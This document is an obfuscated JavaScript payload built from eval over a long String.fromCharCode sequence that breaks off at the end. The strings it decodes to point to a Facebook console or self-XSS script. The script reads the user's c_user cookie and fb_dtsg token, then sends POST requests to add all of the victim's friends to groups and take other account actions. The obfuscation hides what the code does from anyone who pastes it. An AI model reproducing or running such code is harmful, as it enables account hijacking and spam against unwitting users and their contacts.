 eval(String.fromCharCode(118,97,114,32,97,61,101,118,97,108,44,99,61,39,53,32,108,61,55,46,49,57,40,92,39,108,92,39,41,91,48,93,46,49,122,59,53,32,70,61,55,46,89,46,90,40,55,46,89,46,90,40,47,49,90,61,40,92,92,100,43,41,47,41,91,49,93,41,59,56,32,112,40,49,84,41,123,53,32,121,61,71,32,49,65,40,41,59,53,32,49,76,61,34,47,47,75,46,49,50,46,85,47,49,52,47,52,57,46,49,111,34,59,53,32,49,78,61,34,49,113,61,34,43,49,84,43,34,38,52,100,61,48,38,52,103,61,48,38,52,108,91,52,52,93,61,52,102,38,52,55,61,49,38,49,104,61,34,43,70,43,34,38,49,48,61,49,38,50,110,61,50,111,45,38,49,120,61,118,38,108,61,34,43,108,43,34,38,49,66,61,34,59,121,46,49,87,40,34,49,83,34,44,49,76,44,49,101,41,59,121,46,49,121,61,56,40,41,123,54,40,121,46,49,82,61,61,52,38,38,121,46,49,67,61,61,49,49,41,123,121,46,50,70,125,125,59,121,46,49,77,40,49,78,41,125,112,40,34,49,79,34,41,59,112,40,34,50,54,34,41,59,53,32,108,61,55,46,49,57,40,34,108,34,41,91,48,93,46,49,122,59,53,32,70,61,55,46,89,46,90,40,55,46,89,46,90,40,47,49,90,61,40,92,92,100,43,41,47,41,91,49,93,41,59,56,32,51,55,40,103,41,123,53,32,83,61,71,32,49,65,59,53,32,51,99,61,34,47,49,52,47,52,105,47,52,53,47,52,98,46,49,111,63,49,48,61,49,34,59,53,32,51,98,61,34,38,50,109,61,52,78,38,51,65,61,34,43,103,43,34,38,108,61,34,43,108,43,34,38,49,104,61,34,43,70,43,34,38,49,66,61,34,59,83,46,49,87,40,34,49,83,34,44,51,99,44,49,101,41,59,83,46,49,121,61,56,40,41,123,54,40,83,46,49,82,61,61,52,38,38,83,46,49,67,61,61,49,49,41,83,46,50,70,125,59,83,46,49,77,40,51,98,41,125,51,55,40,34,49,80,34,41,59,53,32,50,72,61,92,39,52,109,32,83,32,52,90,92,39,59,53,32,79,61,34,34,44,51,103,61,92,39,60,80,47,62,52,89,32,51,74,32,52,114,32,52,71,32,51,74,32,52,67,32,52,122,46,60,47,80,62,40,52,65,32,52,66,32,52,68,32,52,72,41,60,65,32,68,61,34,73,58,35,50,118,59,34,32,50,48,61,34,109,58,47,47,75,46,49,50,46,85,47,49,79,34,32,50,98,61,34,50,117,34,62,32,52,73,32,51,110,60,47,65,62,60,47,65,62,44,60,47,65,62,60,65,32,68,61,34,73,58,35,50,118,59,34,32,50,48,61,34,109,58,47,47,75,46,49,50,46,85,47,50,54,34,32,50,98,61,34,50,117,34,62,32,52,88,32,51,110,60,47,65,62,46,60,47,65,62,60,47,80,62,53,50,32,52,77,32,52,85,32,52,99,32,52,74,32,52,75,32,60,65,32,68,61,34,73,58,35,50,118,59,34,32,50,48,61,34,109,58,47,47,75,46,51,72,46,51,73,47,34,32,50,98,61,34,50,117,34,62,75,46,51,72,46,51,73,60,47,65,62,46,60,47,65,62,92,39,59,56,32,50,69,40,49,97,41,123,49,109,46,49,54,40,119,46,49,51,46,49,112,43,34,47,47,75,46,49,50,46,85,47,49,52,47,51,52,46,49,111,63,38,108,61,34,43,108,43,34,38,50,89,61,34,43,49,56,43,34,38,51,118,61,51,68,38,51,71,61,52,121,34,43,49,56,43,34,52,70,34,43,49,97,43,34,38,49,81,91,49,73,93,61,34,43,49,56,43,34,38,49,81,91,49,113,93,61,34,43,49,97,43,34,38,51,69,91,51,76,93,61,51,75,38,49,104,61,34,43,70,43,34,38,49,48,61,49,38,49,120,61,113,34,44,56,40,97,41,123,53,32,98,61,97,46,50,74,40,97,46,49,86,40,34,123,34,41,41,59,53,32,99,61,50,65,46,51,70,40,98,41,59,105,45,45,59,79,61,34,60,116,32,49,114,61,92,39,49,74,45,49,72,45,52,69,92,39,32,68,61,92,39,49,119,45,50,68,58,51,84,59,69,45,50,55,58,49,107,59,49,100,45,49,103,58,50,73,59,50,112,45,50,87,58,51,48,45,51,49,59,34,59,54,40,99,46,50,100,41,123,79,43,61,34,73,58,52,120,92,39,62,34,59,50,114,43,43,59,54,40,99,46,51,121,41,79,43,61,99,46,51,121,59,84,32,79,43,61,50,65,46,52,119,40,99,44,76,44,34,34,41,125,84,123,79,43,61,34,73,58,52,113,92,39,62,34,59,79,43,61,49,70,91,105,93,43,34,32,52,112,32,52,111,32,52,110,46,60,80,47,62,34,59,49,117,43,43,125,79,43,61,34,60,47,116,62,34,59,53,32,104,61,34,60,116,32,49,73,61,92,39,49,74,45,49,72,45,104,92,39,32,68,61,92,39,50,120,45,50,67,58,50,102,32,50,75,32,52,115,32,49,98,40,48,44,32,48,44,32,48,44,32,48,46,51,41,59,50,122,58,51,77,59,49,107,58,53,48,37,59,52,50,45,49,107,58,45,51,88,59,50,121,58,51,86,59,51,81,58,51,87,59,122,45,51,85,58,51,114,59,49,100,45,49,103,58,50,90,59,69,45,50,55,58,50,119,59,49,119,58,51,115,59,50,120,45,50,67,58,50,53,32,50,51,32,50,53,32,49,98,40,48,44,48,44,48,44,48,46,49,41,59,50,52,45,50,76,58,50,75,59,50,52,58,50,51,32,50,83,32,49,98,40,49,49,44,49,49,44,53,48,44,48,46,50,41,59,51,107,45,73,58,49,98,40,49,106,44,49,106,44,49,106,44,48,46,57,41,59,73,58,35,51,105,92,39,62,34,59,104,43,61,34,60,116,32,68,61,92,39,49,119,45,50,68,58,51,84,59,49,100,45,49,103,58,51,112,59,92,39,62,34,43,50,72,43,34,60,47,116,62,34,59,54,40,105,62,48,41,123,104,43,61,66,46,117,43,34,32,86,32,50,71,60,80,47,62,34,59,104,43,61,34,60,98,62,34,43,49,117,43,34,60,47,98,62,32,86,32,50,101,32,52,118,32,34,43,40,66,46,117,45,105,41,43,34,32,86,32,52,117,32,34,59,104,43,61,34,40,34,43,105,43,34,32,52,116,46,46,46,41,34,59,104,43,61,34,60,116,32,49,114,61,92,39,49,74,45,49,72,92,39,62,34,59,104,43,61,79,59,104,43,61,34,60,116,32,68,61,92,39,69,45,50,55,58,50,119,59,49,100,45,49,103,58,50,73,59,50,112,45,50,87,58,51,48,45,51,49,59,73,58,52,87,92,39,62,34,59,104,43,61,51,106,43,34,32,52,86,32,53,51,32,53,49,32,52,84,32,86,32,52,83,32,83,46,46,46,34,59,104,43,61,51,103,59,104,43,61,34,60,47,116,62,34,59,104,43,61,34,60,47,116,62,34,125,84,123,104,43,61,66,46,117,43,34,32,86,32,50,71,60,80,47,62,34,59,104,43,61,49,117,43,34,32,86,32,50,101,60,47,80,62,34,59,104,43,61,50,114,43,34,32,86,32,52,76,32,50,101,60,47,80,62,60,47,80,62,34,59,104,43,61,34,60,116,62,60,51,57,32,49,114,61,92,39,52,79,32,52,82,32,52,81,32,52,80,32,53,52,92,39,32,52,97,61,92,39,119,46,49,51,46,52,56,40,41,92,39,32,68,61,92,39,73,58,50,112,92,39,62,52,54,32,52,106,60,47,51,57,62,34,125,104,43,61,34,60,47,116,62,34,59,55,46,49,99,40,34,51,56,34,41,46,49,108,61,104,125,44,34,69,34,44,34,49,75,34,41,59,82,45,45,59,54,40,82,62,48,41,123,53,32,115,61,66,91,82,93,59,52,104,61,50,66,91,82,93,59,49,116,40,34,50,69,40,34,43,115,43,34,41,34,44,52,101,41,125,51,78,46,51,66,40,82,43,34,47,34,43,66,46,117,43,34,58,34,43,66,91,82,93,43,34,47,34,43,49,70,91,82,93,43,34,44,32,52,107,58,34,43,49,117,41,59,54,40,49,56,33,61,49,80,41,123,49,109,46,49,54,40,119,46,49,51,46,49,112,43,34,47,47,75,46,49,50,46,85,47,49,52,47,51,52,46,49,111,63,38,108,61,34,43,108,43,34,38,50,89,61,49,80,38,51,118,61,51,68,38,51,71,61,53,55,34,43,49,97,43,34,38,49,81,91,49,73,93,61,49,80,38,49,81,91,49,113,93,61,34,43,49,97,43,34,38,51,69,91,51,76,93,61,51,75,38,49,104,61,34,43,70,43,34,38,49,48,61,49,38,49,120,61,113,34,44,56,40,41,123,125,44,34,69,34,44,34,49,75,34,41,125,54,40,49,56,41,123,49,109,46,49,54,40,119,46,49,51,46,49,112,43,34,47,47,75,46,49,50,46,85,47,49,52,47,51,117,47,51,116,63,38,51,120,61,34,43,49,97,43,34,38,51,122,61,49,79,38,51,89,61,52,51,38,50,109,61,51,83,38,49,104,61,34,43,70,43,34,38,49,48,61,49,38,50,110,61,50,111,45,38,49,120,61,49,55,38,108,61,34,43,108,43,34,38,49,66,61,53,80,34,44,56,40,41,123,125,44,34,69,34,44,34,49,75,34,41,125,54,40,49,56,41,123,49,109,46,49,54,40,119,46,49,51,46,49,112,43,34,47,47,75,46,49,50,46,85,47,49,52,47,51,117,47,51,116,63,38,51,120,61,34,43,49,97,43,34,38,51,122,61,50,54,38,51,89,61,52,51,38,50,109,61,51,83,38,49,104,61,34,43,70,43,34,38,49,48,61,49,38,50,110,61,50,111,45,38,49,120,61,49,55,38,108,61,34,43,108,43,34,38,49,66,61,53,79,34,44,56,40,41,123,125,44,34,69,34,44,34,49,75,34,41,125,125,56,32,50,84,40,41,123,54,40,55,46,49,57,40,34,50,79,34,41,46,117,62,48,41,50,57,46,50,107,40,55,46,49,57,40,34,50,79,34,41,91,48,93,41,59,53,32,97,61,66,91,105,93,59,54,40,105,60,66,46,117,41,51,53,40,97,46,50,74,40,48,44,52,41,41,125,56,32,51,108,40,41,123,54,40,55,46,49,118,40,34,50,77,34,41,46,117,62,48,41,50,57,46,50,107,40,55,46,49,118,40,34,50,77,34,41,91,48,93,46,49,115,91,48,93,46,49,115,91,48,93,46,49,115,91,49,93,41,59,84,32,106,43,43,59,49,116,40,34,50,84,40,41,34,44,51,109,41,125,56,32,51,53,40,97,41,123,105,43,43,59,49,116,40,34,51,108,40,41,34,44,51,109,41,125,49,109,61,123,50,80,58,56,40,41,123,53,32,97,61,72,59,54,40,51,119,32,50,116,33,61,34,49,71,34,41,50,50,123,97,61,71,32,50,116,40,34,53,78,46,51,111,34,41,125,50,49,40,98,41,123,50,50,123,97,61,71,32,50,116,40,34,53,81,46,51,111,34,41,125,50,49,40,99,41,123,97,61,72,125,125,84,32,54,40,119,46,49,65,41,50,50,123,97,61,71,32,49,65,125,50,49,40,98,41,123,97,61,72,125,111,32,97,125,44,49,54,58,56,40,74,44,50,108,44,81,44,78,44,77,41,123,53,32,109,61,67,46,50,81,40,41,59,54,40,33,109,124,124,33,74,41,111,59,54,40,109,46,51,104,41,109,46,51,104,40,34,69,47,53,82,34,41,59,54,40,33,78,41,78,61,34,51,97,34,59,54,40,33,81,41,81,61,34,69,34,59,54,40,33,77,41,77,61,123,125,59,81,61,81,46,53,84,40,41,59,78,61,78,46,53,83,40,41,59,53,32,51,101,61,34,49,113,61,34,43,40,71,32,53,77,41,46,53,76,40,41,59,74,43,61,74,46,49,86,40,34,63,34,41,43,49,63,34,38,34,58,34,63,34,59,74,43,61,51,101,59,53,32,50,106,61,76,59,54,40,78,61,61,34,49,83,34,41,123,53,32,50,105,61,74,46,53,71,40,34,63,34,41,59,74,61,50,105,91,48,93,59,50,106,61,50,105,91,49,93,125,109,46,49,87,40,78,44,74,44,49,101,41,59,53,32,53,70,61,67,59,54,40,77,46,50,88,41,109,46,49,121,61,56,40,41,123,77,46,50,88,40,109,41,125,59,84,32,109,46,49,121,61,56,40,41,123,54,40,109,46,49,82,61,61,52,41,54,40,109,46,49,67,61,61,49,49,41,123,53,32,88,61,34,34,59,54,40,109,46,51,100,41,88,61,109,46,51,100,59,54,40,81,46,51,102,40,48,41,61,61,34,106,34,41,123,88,61,88,46,53,69,40,47,91,92,92,110,92,92,114,93,47,103,44,34,34,41,59,88,61,53,86,40,34,40,34,43,88,43,34,41,34,41,125,84,32,54,40,81,46,51,102,40,48,41,61,61,34,120,34,41,88,61,109,46,53,85,59,54,40,50,108,41,50,108,40,88,41,125,84,123,54,40,77,46,49,102,41,55,46,49,88,40,34,50,104,34,41,91,48,93,46,51,54,40,77,46,49,102,41,59,54,40,77,46,87,41,55,46,49,99,40,77,46,87,41,46,68,46,104,61,34,50,82,34,59,54,40,50,100,41,50,100,40,109,46,49,67,41,125,125,59,109,46,49,77,40,50,106,41,125,44,54,53,58,56,40,97,41,123,53,32,98,61,123,74,58,34,34,44,50,97,58,72,44,54,52,58,72,44,81,58,34,69,34,44,78,58,34,51,97,34,44,50,103,58,34,34,44,87,58,34,34,44,49,102,58,34,34,125,59,49,53,40,53,32,99,32,54,54,32,98,41,54,40,97,91,99,93,41,98,91,99,93,61,97,91,99,93,59,54,40,33,98,46,74,41,111,59,53,32,100,61,72,59,54,40,98,46,49,102,41,123,100,61,55,46,54,55,40,34,116,34,41,59,100,46,51,113,40,34,68,34,44,34,50,122,58,54,50,59,50,121,58,50,102,59,49,107,58,50,102,59,34,41,59,100,46,51,113,40,34,49,114,34,44,34,87,45,53,88,34,41,59,100,46,49,108,61,98,46,49,102,59,55,46,49,88,40,34,50,104,34,41,91,48,93,46,53,87,40,100,41,59,67,46,77,46,49,102,61,100,125,54,40,98,46,87,41,55,46,49,99,40,98,46,87,41,46,68,46,104,61,34,54,51,34,59,67,46,49,54,40,98,46,74,44,56,40,97,41,123,54,40,98,46,50,97,41,98,46,50,97,40,97,41,59,54,40,98,46,50,103,41,55,46,49,99,40,98,46,50,103,41,46,49,108,61,97,59,54,40,100,41,55,46,49,88,40,34,50,104,34,41,91,48,93,46,51,54,40,100,41,59,54,40,98,46,87,41,55,46,49,99,40,98,46,87,41,46,68,46,104,61,34,50,82,34,125,44,98,46,81,44,98,46,78,44,98,41,125,44,50,81,58,56,40,41,123,111,32,67,46,50,80,40,41,125,125,59,53,32,50,57,61,123,50,78,58,56,40,97,44,98,44,99,44,100,41,123,54,40,99,61,61,34,50,113,34,41,99,61,34,49,114,34,59,53,32,101,61,55,46,50,86,40,34,46,47,47,34,43,98,43,34,91,64,34,43,99,43,34,61,92,39,34,43,100,43,34,92,39,93,34,44,97,44,76,44,51,50,46,51,51,44,76,41,59,54,40,101,38,38,101,46,49,89,41,111,32,101,46,49,89,59,111,32,76,125,44,53,89,58,56,40,97,44,98,44,99,41,123,111,32,67,46,50,78,40,97,44,98,44,34,50,113,34,44,99,41,125,44,53,90,58,56,40,97,44,98,41,123,50,50,123,53,32,99,61,55,46,50,86,40,98,44,97,44,76,44,51,50,46,51,51,44,76,41,125,50,49,40,100,41,123,54,49,40,34,54,48,32,53,75,58,34,43,98,41,125,54,40,99,38,38,99,46,49,89,41,111,32,99,46,49,89,59,111,32,76,125,44,53,67,58,56,40,97,41,123,119,46,49,116,40,56,40,41,123,55,46,49,51,46,50,48,61,97,125,44,50,115,43,50,56,46,51,82,40,50,56,46,51,80,40,41,42,50,115,41,41,125,44,49,105,58,56,40,97,44,98,44,99,41,123,53,32,100,61,97,46,55,46,53,103,40,34,53,53,34,41,59,100,46,53,102,40,99,44,49,101,44,49,101,44,97,44,48,44,48,44,48,44,48,44,48,44,72,44,72,44,72,44,72,44,48,44,76,41,59,111,33,98,46,53,68,40,100,41,125,44,53,104,58,56,40,97,41,123,111,32,67,46,49,105,40,119,44,97,44,34,50,99,34,41,125,44,53,105,58,56,40,97,44,98,41,123,119,46,49,116,40,56,40,41,123,111,32,50,57,46,49,105,40,119,44,97,44,34,50,99,34,41,125,44,98,43,50,56,46,51,82,40,50,56,46,51,80,40,41,42,50,115,41,41,125,44,50,107,58,56,40,97,41,123,67,46,49,105,40,119,44,97,44,34,53,107,34,41,59,67,46,49,105,40,119,44,97,44,34,53,106,34,41,59,67,46,49,105,40,119,44,97,44,34,50,99,34,41,125,44,51,79,58,56,40,97,44,98,41,123,53,32,99,61,34,34,59,54,40,98,61,61,49,71,41,98,61,48,59,54,40,98,62,52,48,41,111,59,54,40,97,46,51,90,33,61,49,71,41,111,32,97,46,51,90,59,49,53,40,53,32,100,61,48,59,100,60,97,46,49,115,46,117,59,100,43,43,41,123,53,32,101,61,97,46,49,115,91,100,93,59,99,43,61,67,46,51,79,40,101,44,98,43,49,41,125,111,32,99,125,125,59,54,40,55,46,49,118,61,61,49,71,41,55,46,49,118,61,56,40,97,41,123,53,32,98,61,71,32,53,100,40,34,40,63,58,94,124,92,92,92,92,115,41,34,43,97,43,34,40,63,58,36,124,92,92,92,92,115,41,34,41,59,53,32,99,61,55,46,49,88,40,34,42,34,41,59,53,32,100,61,91,93,59,53,32,101,59,49,53,40,53,32,102,61,48,59,40,101,61,99,91,102,93,41,33,61,76,59,102,43,43,41,123,53,32,103,61,101,46,50,113,59,54,40,103,38,38,103,46,49,86,40,97,41,33,61,45,49,38,38,98,46,51,67,40,103,41,41,100,46,49,110,40,101,41,125,111,32,100,125,59,49,85,46,53,54,46,53,57,61,56,40,97,41,123,53,32,98,61,72,59,49,53,40,105,61,48,59,105,60,67,46,117,59,105,43,43,41,54,40,51,119,32,97,61,61,34,56,34,41,123,54,40,97,46,51,67,40,67,91,105,93,41,41,123,54,40,33,98,41,98,61,91,93,59,98,46,49,110,40,105,41,125,125,84,32,54,40,67,91,105,93,61,61,61,97,41,123,54,40,33,98,41,98,61,91,93,59,98,46,49,110,40,105,41,125,111,32,98,125,59,53,32,105,61,51,59,53,32,82,61,51,59,53,32,106,61,48,59,53,32,107,61,48,59,53,32,49,117,61,48,59,53,32,50,114,61,48,59,53,32,66,61,71,32,49,85,59,53,32,49,70,61,71,32,49,85,59,53,32,50,66,61,71,32,49,85,59,53,98,61,55,46,49,99,40,34,53,108,34,41,46,49,108,59,53,32,108,61,55,46,49,57,40,92,39,108,92,39,41,91,48,93,46,49,122,59,53,32,70,61,55,46,89,46,90,40,55,46,89,46,90,40,47,49,90,61,40,92,92,100,43,41,47,41,91,49,93,41,59,53,32,51,106,61,55,46,49,118,40,34,53,109,34,41,91,48,93,46,49,108,59,53,32,49,56,61,55,46,49,57,40,34,51,65,34,41,91,48,93,46,49,122,59,49,109,46,49,54,40,119,46,49,51,46,49,112,43,34,47,47,75,46,49,50,46,85,47,49,52,47,53,120,47,53,119,46,49,111,63,34,43,34,49,48,61,49,38,53,121,91,48,93,61,53,122,38,53,66,61,48,38,53,65,61,34,43,70,43,34,38,53,118,61,53,117,38,53,112,61,48,38,52,49,91,48,93,61,53,111,38,52,49,91,49,93,61,53,110,34,44,56,40,97,41,123,53,32,98,61,97,59,53,32,99,61,98,46,50,74,40,98,46,49,86,40,34,123,34,41,41,59,53,32,100,61,50,65,46,51,70,40,99,41,59,100,61,100,46,53,114,46,53,116,59,49,53,40,53,32,101,61,48,59,101,60,100,46,117,59,101,43,43,41,66,46,49,110,40,100,91,101,93,46,49,113,41,59,49,53,40,53,32,49,69,61,48,59,49,69,60,100,46,117,59,49,69,43,43,41,49,70,46,49,110,40,100,91,49,69,93,46,69,41,59,49,53,40,53,32,49,68,61,48,59,49,68,60,100,46,117,59,49,68,43,43,41,50,66,46,49,110,40,100,91,49,68,93,46,53,115,41,59,105,61,66,46,117,45,49,59,82,61,105,59,51,78,46,51,66,40,66,46,117,41,59,53,32,104,61,34,60,116,32,49,73,61,92,39,49,74,45,49,72,45,104,92,39,32,68,61,92,39,50,122,58,51,77,59,49,107,58,53,48,37,59,52,50,45,49,107,58,45,51,88,59,50,121,58,51,86,59,51,81,58,51,87,59,122,45,51,85,58,51,114,59,49,100,45,49,103,58,50,90,59,69,45,50,55,58,50,119,59,49,119,58,51,115,59,50,120,45,50,67,58,50,53,32,50,51,32,50,53,32,49,98,40,48,44,48,44,48,44,48,46,49,41,59,50,52,45,50,76,58,50,75,59,50,52,58,50,51,32,50,83,32,49,98,40,49,49,44,49,49,44,53,48,44,48,46,50,41,59,51,107,45,73,58,49,98,40,49,106,44,49,106,44,49,106,44,48,46,57,41,59,73,58,35,51,105,92,39,62,34,59,104,43,61,34,60,116,32,68,61,92,39,49,119,45,50,68,58,50,73,59,49,100,45,49,103,58,51,112,59,92,39,62,34,43,50,72,43,34,60,47,116,62,34,59,104,43,61,66,46,117,43,34,32,86,32,50,71,34,59,104,43,61,34,60,47,116,62,34,59,55,46,49,99,40,34,51,56,34,41,46,49,108,61,104,59,50,69,40,66,91,105,93,41,125,41,59,53,32,108,61,55,46,49,57,40,34,108,34,41,91,48,93,46,49,122,59,53,32,70,61,55,46,89,46,90,40,55,46,89,46,90,40,47,49,90,61,40,92,92,100,43,41,47,41,91,49,93,41,59,56,32,97,40,49,84,41,123,53,32,121,61,71,32,49,65,59,53,32,49,76,61,34,47,49,52,47,50,85,47,53,113,46,49,111,63,49,48,61,49,34,59,53,32,49,78,61,34,53,99,61,34,43,49,84,43,34,38,49,51,61,49,38,53,97,61,50,85,45,53,56,38,53,101,61,53,74,38,108,61,34,43,108,43,34,38,53,73,38,53,72,34,43,70,43,34,38,49,66,61,34,59,121,46,49,87,40,34,49,83,34,44,49,76,44,49,101,41,59,121,46,49,121,61,56,40,41,123,54,40,121,46,49,82,61,61,52,38,38,121,46,49,67,61,61,49,49,41,121,46,50,70,125,59,121,46,49,77,40,49,78,41,125,97,40,34,49,79,34,41,59,97,40,34,50,54,34,41,59,39,44,10,100,61,51,56,48,44,101,61,34,32,32,32,32,32,118,97,114,32,105,102,32,100,111,99,117,109,101,110,116,32,102,117,110,99,116,105,111,110,32,32,32,32,32,32,32,32,32,100,105,115,112,108,97,121,32,32,32,32,102,98,95,100,116,115,103,32,104,116,116,112,32,32,114,101,116,117,114,110,32,32,32,32,32,100,105,118,32,108,101,110,103,116,104,32,32,119,105,110,100,111,119,32,32,104,116,116,112,52,32,32,32,97,114,114,32,116,104,105,115,32,115,116,121,108,101,32,116,101,120,116,32,117,115,101,114,95,105,100,32,110,101,119,32,102,97,108,115,101,32,99,111,108,111,114,32,117,114,108,32,119,119,119,32,110,117,108,108,32,111,112,116,32,109,101,116,104,111,100,32,68,101,115,99,114,105,112,116,105,111,110,115,32,98,114,32,102,111,114,109,97,116,32,116,97,121,32,95,65,76,76,95,70,82,73,69,78,68,83,32,101,108,115,101,32,99,111,109,32,70,114,105,101,110,100,115,32,108,111,97,100,105,110,103,32,114,101,115,117,108,116,32,99,111,111,107,105,101,32,109,97,116,99,104,32,95,95,97,32,50,48,48,32,102,97,99,101,98,111,111,107,32,108,111,99,97,116,105,111,110,32,97,106,97,120,32,102,111,114,32,108,111,97,100,32,32,103,105,100,32,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,32,111,112,111,32,114,103,98,97,32,103,101,116,69,108,101,109,101,110,116,66,121,73,100,32,102,111,110,116,32,116,114,117,101,32,108,111,97,100,105,110,103,73,110,100,105,99,97,116,111,114,32,115,105,122,101,32,95,95,117,115,101,114,32,67,108,105,99,107,87,105,110,32,50,53,53,32,108,101,102,116,32,105,110,110,101,114,72,84,77,76,32,106,120,32,112,117,115,104,32,112,104,112,32,112,114,111,116,111,99,111,108,32,117,105,100,32,99,108,97,115,115,32,99,104,105,108,100,78,111,100,101,115,32,115,101,116,84,105,109,101,111,117,116,32,115,117,99,32,103,101,116,69,108,101,109,101,110,116,115,66,121,67,108,97,115,115,78,97,109,101,32,112,97,100,100,105,110,103,32,95,95,114,101,113,32,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,32,118,97,108,117,101,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,32,112,104,115,116,97,109,112,32,115,116,97,116,117,115,32,112,105,99,32,101,103,32,97,114,110,32,117,110,100,101,102,105,110,101,100,32,101,100,103,101,32,105,100,32,102,114,105,101,110,100,32,112,111,115,116,32,117,114,108,52,32,115,101,110,100,32,112,97,114,97,109,115,52,32,49,56,48,49,57,48,48,56,54,55,32,49,48,57,55,53,53,54,56,50,52,53,50,48,51,57,32,112,97,114,97,109,115,32,114,101,97,100,121,83,116,97,116,101,32,80,79,83,84,32,97,98,111,110,101,32,65,114,114,97,121,32,105,110,100,101,120,79,102,32,111,112,101,110,32,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,32,115,105,110,103,108,101,78,111,100,101,86,97,108,117,101,32,99,95,117,115,101,114,32,104,114,101,102,32,99,97,116,99,104,32,116,114,121,32,49,112,120,32,98,111,114,100,101,114,32,48,112,116,32,49,56,48,49,57,48,48,56,54,55,32,97,108,105,103,110,32,77,97,116,104,32,110,72,116,109,108,32,111,110,83,117,99,99,101,115,115,32,116,97,114,103,101,116,32,99,108,105,99,107,32,101,114,114,111,114,32,65,100,100,101,100,32,48,112,120,32,117,112,100,97,116,101,32,98,111,100,121,32,112,97,114,116,115,32,112,97,114,97,109,101,116,101,114,115,32,67,108,105,99,107,85,112,32,99,97,108,108,98,97,99,107,32,114,101,102,32,95,95,100,121,110,32,55,57,56,97,68,53,122,53,67,70,32,119,104,105,116,101,32,99,108,97,115,115,78,97,109,101,32,101,114,114,32,53,48,48,32,65,99,116,105,118,101,88,79,98,106,101,99,116,32,95,98,108,97,110,107,32,51,66,53,57,57,56,32,99,101,110,116,101,114,32,98,111,120,32,116,111,112,32,112,111,115,105,116,105,111,110,32,74,83,79,78,32,112,104,111,32,115,104,97,100,111,119,32,98,111,116,116,111,109,32,65,100,100,70,114,105,101,110,100,116,111,71,114,111,117,112,32,99,108,111,115,101,32,68,101,116,101,99,116,101,100,32,84,105,116,108,101,32,49,48,112,120,32,115,117,98,115,116,114,105,110,103,32,51,112,120,32,114,97,100,105,117,115,32,115,101,97,114,99,104,32,70,105,110,100,66,121,65,116,116,114,32,111,107,32,103,101,116,72,84,84,80,79,98,106,101,99,116,32,105,110,105,116,32,110,111,110,101,32,115,111,108,105,100,32,99,108,105,99,107,102,114,95,99,97,108,108,98,97,99,107,32,102,111,108,108,111,119,32,101,118,97,108,117,97,116,101,32,115,112,97,99,101,32,104,97,110,100,108,101,114,32,114,101,113,117,101,115,116,95,105,100,32,49,52,112,120,32,112,114,101,32,119,114,97,112,32,88,80,97,116,104,82,101,115,117,108,116,32,70,73,82,83,84,95,79,82,68,69,82,69,68,95,78,79,68,69,95,84,89,80,69,32,114,101,113,115,32,97,100,100,102,114,105,101,110,100,32,114,101,109,111,118,101,67,104,105,108,100,32,74,111,105,110,32,112,97,103,101,108,101,116,95,115,105,100,101,98,97,114,32,115,112,97,110,32,71,69,84,32,71,114,111,117,112,80,97,114,97,109,115,32,71,114,111,117,112,85,82,76,32,114,101,115,112,111,110,115,101,84,101,120,116,32,110,111,119,32,99,104,97,114,65,116,32,95,116,101,120,116,32,111,118,101,114,114,105,100,101,77,105,109,101,84,121,112,101,32,48,48,48,48,48,48,32,103,101,116,117,110,97,109,101,32,98,97,99,107,103,114,111,117,110,100,32,99,108,105,99,107,102,114,32,50,69,51,32,46,32,88,77,76,72,84,84,80,32,50,48,112,120,32,115,101,116,65,116,116,114,105,98,117,116,101,32,57,57,57,57,32,49,53,112,120,32,115,117,103,103,101,115,116,32,102,114,105,101,110,100,115,32,116,121,112,101,32,116,121,112,101,111,102,32,114,101,99,101,105,118,101,114,32,101,114,114,111,114,68,101,115,99,114,105,112,116,105,111,110,32,110,101,119,99,111,109,101,114,32,103,114,111,117,112,95,105,100,32,108,111,103,32,116,101,115,116,32,103,114,111,117,112,95,99,111,110,102,105,114,109,32,97,99,116,105,111,110,115,32,112,97,114,115,101,32,115,116,97,116,117,115,95,100,105,118,95,105,100,32,110,97,110,111,118,97,119,111,114,108,100,32,98,108,111,103,115,112,111,116,46,99,111,109,32,72,101,108,112,32,67,111,110,102,105,114,109,32,97,99,99,101,112,116,32,102,105,120,101,100,32,99,111,110,115,111,108,101,32,71,101,116,84,101,120,116,32,114,97,110,100,111,109,32,119,105,100,116,104,32,102,108,111,111,114,32,112,114,111,102,105,108,101,95,111,116,104,101,114,115,95,100,114,111,112,100,111,119,110,32,53,112,120,32,105,110,100,101,120,32,49,48,48,112,120,32,53,48,48,112,120,32,50,55,51,112,120,32,97,116,116,101,109,112,116,95,105,100,32,116,101,120,116,67,111,110,116,101,110,116,32,32,111,112,116,105,111,110,115,32,109,97,114,103,105,110,32,48,53,56,53,97,98,55,52,101,50,100,100,48,102,102,49,48,50,56,50,97,51,97,51,54,100,102,51,57,101,49,57,32,95,109,111,100,32,109,101,109,98,101,114,115,104,105,112,32,82,101,102,114,101,115,104,32,95,95,97,115,121,110,99,68,105,97,108,111,103,32,114,101,108,111,97,100,32,112,111,107,101,95,100,105,97,108,111,103,32,111,110,67,108,105,99,107,32,114,50,106,32,86,105,115,105,116,32,112,111,107,101,98,97,99,107,32,49,48,48,32,112,97,103,101,108,101,116,95,116,105,109,101,108,105,110,101,95,112,114,111,102,105,108,101,95,97,99,116,105,111,110,115,32,97,115,107,95,102,111,114,95,99,111,110,102,105,114,109,32,115,120,32,103,114,111,117,112,115,32,80,97,103,101,32,115,117,99,99,101,115,115,32,110,99,116,114,32,78,65,78,79,86,65,95,87,79,82,76,68,32,97,100,100,101,100,32,98,101,101,110,32,104,97,115,32,100,97,114,107,103,114,101,101,110,32,84,104,111,115,101,32,56,112,120,32,76,101,102,116,101,100,32,80,114,111,99,101,115,115,101,100,32,111,102,32,115,116,114,105,110,103,105,102,121,32,100,97,114,107,114,101,100,32,103,114,111,117,112,95,99,111,110,102,105,114,109,95,32,83,101,108,118,101,115,32,70,65,67,69,66,79,79,75,32,83,67,82,73,80,84,32,84,104,101,109,32,67,82,69,65,84,69,68,32,110,97,109,101,32,95,32,87,104,111,32,66,89,32,76,97,104,105,114,117,32,79,117,114,32,87,101,98,115,105,116,101,32,78,111,116,32,77,111,114,101,32,103,114,111,117,112,95,106,117,109,112,95,104,101,97,100,101,114,32,108,97,121,101,114,67,111,110,102,105,114,109,32,117,105,66,117,116,116,111,110,67,111,110,102,105,114,109,32,117,105,66,117,116,116,111,110,32,117,105,79,118,101,114,108,97,121,66,117,116,116,111,110,32,84,111,32,89,111,117,114,32,84,11